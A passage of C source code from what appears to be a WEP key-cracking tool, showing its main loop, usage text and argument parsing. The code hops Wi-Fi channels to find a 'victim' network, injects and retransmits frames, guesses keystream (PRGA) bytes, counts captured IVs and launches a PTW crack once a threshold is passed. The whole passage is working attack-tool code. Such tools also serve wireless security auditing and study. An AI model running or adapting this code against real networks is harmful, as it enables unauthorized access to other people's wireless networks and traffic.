			el = elapsedd(&arpsend, &now);
			if (el >= (1500*1000)) {
				rtrmac = 0;
			}
		}

		// status bar
		if ( (now.tv_sec > last_status.tv_sec ) ||
		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
				check_key();
			}
			if (netip && prgainfo.len >= min_prga &&
			    rtrmac > (unsigned char*) 1) {
				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
				       weplog.packets, wep_thresh,
				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
				       weplog.rate);
				fflush(stdout);
			}
			else {
				if (state == FIND_VICTIM)
					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
				else if (decryptstate.cipher) {
					int pos = decryptstate.prgainfo.len - 1;
					unsigned char prga = decryptstate.prgainfo.prga[pos];
					assert(pos);

					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
						   prga, decryptstate.cipher[pos] ^ prga);
				}
				else
					time_print("%c\r", *pbarp);
				fflush(stdout);
			}
			memcpy(&last_status, &now,sizeof(last_status));
		}

		// check if we are cracking
		if (crack_pid) {
			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
				kill_crack();
		}

		// check TX  / retransmit
		if (txstate.waiting_ack) {
			unsigned int elapsed = now.tv_sec -
					       txstate.tsent.tv_sec;
			elapsed *= 1000*1000;
			elapsed += (now.tv_usec - txstate.tsent.tv_usec);

			if (elapsed >= ack_timeout)
				send_frame(wifd, NULL, -1);
		}

		// INPUT
		// select
		FD_ZERO(&rfd);
		FD_SET(wifd, &rfd);
		FD_SET(tapfd, &rfd);
		tv.tv_sec = 0;
		tv.tv_usec = 1000*10;
		rd = select(largest+1, &rfd, NULL, NULL, &tv);
		if (rd == -1) {
			perror("select()");
			exit(1);
		}

		// read
		if (rd != 0) {
			// wifi
			if (FD_ISSET(wifd, &rfd)) {
				rd = read_packet(wifd, buf, sizeof(buf));
				if (rd == 0)
					return;
				if (rd == -1) {
					perror("read()");
					exit(1);
				}

				pbarp++;
				if(!(*pbarp))
					pbarp = &pbar[0];
				// input
				anal(buf, rd, wifd);
			}

			// tap
			if (FD_ISSET(tapfd, &rfd)) {
				read_tap();
			}
		}

		// check state and what we do next.
		if (state == FIND_VICTIM) {
			if (now.tv_sec > lasthop.tv_sec ||
			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
				int chan = chaninfo.chan;
				chan++;

				if(chan > max_chan)
					chan = 1;

				set_chan(chan);
				memcpy(&lasthop, &now, sizeof(lasthop));
			}
		} else {
		// check if we need to write something...
			if (!txstate.waiting_ack)
				can_write(wifd);

			// roughly!

#ifdef MORE_ACCURATE
			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
				unsigned int elapsed;
				int secs;
				int packetz = weplog.packets - last_wep_count;
				elapsed = 1000*1000;

				elapsed -= last_wcount.tv_usec;

				assert(elapsed >= 0);
				elapsed += now.tv_usec;

				secs = now.tv_sec - last_wcount.tv_sec;
				secs--;
				if (secs > 0)
					elapsed += (secs*1000*1000);

				weplog.rate = (int)
				((double)packetz/(elapsed/1000.0/1000.0));
#else
			if ( now.tv_sec > last_wcount.tv_sec) {
				weplog.rate = weplog.packets - last_wep_count;
#endif
				last_wep_count = weplog.packets;
				memcpy(&last_wcount, &now, sizeof(now));

				if (wep_thresh != -1 && weplog.packets > wep_thresh)
					try_crack();
			}
		}
	}
}

void start(char *dev) {
	int fd;

	setup_if(dev);

	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);

	ptw = PTW_newattackstate();
	if (!ptw)
		err(1, "PTW_newattackstate()");

	own(fd);

#if 0
	{
		int i;
		struct timeval tv;
		set_chan(11);
		for (i = 0; i < 10; i++) {
			gettimeofday(&tv, NULL);

			send_ack(tx);
//			usleep(500);
			printf("%lu\n", tv.tv_usec);
		}
	}
#endif

	close(fd);
}

void usage(char* pname) {
	printf("Usage: %s <opts>\n", pname);
	printf("-h\t\tthis lame message\n");
	printf("-i\t\t<iface>\n");
	printf("-s\t\t<flood server ip>\n");
	printf("-m\t\t<my ip>\n");
	printf("-n\t\t<net ip>\n");
	printf("-r\t\t<rtr mac>\n");
	printf("-a\t\t<mymac>\n");
	printf("-c\t\tdo not crack\n");
	printf("-p\t\t<min prga>\n");
	printf("-4\t\t64 bit key\n");
	printf("-v\t\tvictim mac\n");
	printf("-t\t\t<crack thresh>\n");
	printf("-f\t\t<max chan>\n");
	exit(0);
}

void str2mac(unsigned char* dst, unsigned char* mac) {
	unsigned int macf[6];
	int i;

	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
                   &macf[0], &macf[1], &macf[2],
                   &macf[3], &macf[4], &macf[5]) != 6) {

		   printf("can't parse mac %s\n", mac);
		   exit(1);
	}

	for (i = 0; i < 6; i++)
		*dst++ = (unsigned char) macf[i];
}

int main(int argc, char *argv[]) {
	unsigned char* dev = "ath0";
	unsigned char rtr[6];
	unsigned char vic[6];

	int ch;

	if (gettimeofday(&real_start, NULL) == -1) {
		perror("gettimeofday()");
		exit(1);
	}

	chaninfo.s = -1;
	victim.ssid = 0;
	prgainfo.len = 0;

	memset(&txstate, 0, sizeof(txstate));
	memset(&fragstate, 0, sizeof(fragstate));
	memset(&decryptstate, 0, sizeof(decryptstate));
	memset(&weplog, 0, sizeof(weplog));

	state = FIND_VICTIM;

	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
		switch (ch) {
			case 'a':
				str2mac(mymac, optarg);
				break;

			case 's':
				floodip = optarg;
				break;

			case 'i':
				dev = optarg;
				break;

			case 'm':
				strncpy(myip, optarg, sizeof(myip)-1);
				myip[sizeof(myip)-1] = 0;
				break;

			case 'n':
				netip = optarg;
				netip_arg = 1;
				break;

			case 'r':
				str2mac(rtr, optarg);
				rtrmac = rtr;
				break;

			case 'v':
				str2mac(vic, optarg);
				victim_mac = vic;
				break;

			case 'c':
				wep_thresh = -1;
				break;

			case 'p':
				min_prga = atoi(optarg);
				break;

			case 't':
				thresh_incr = wep_thresh = atoi(optarg);
				break;

			case 'f':
				max_chan = atoi(optarg);
				break;

			case '4':
				bits = 64;
				break;

			default:
				usage(argv[0]);
				break;
		}
	}

	start(dev);

	if(chaninfo.s != -1)
		close(chaninfo.s);
	if(victim.ssid)
		free(victim.ssid);
	exit(0);
}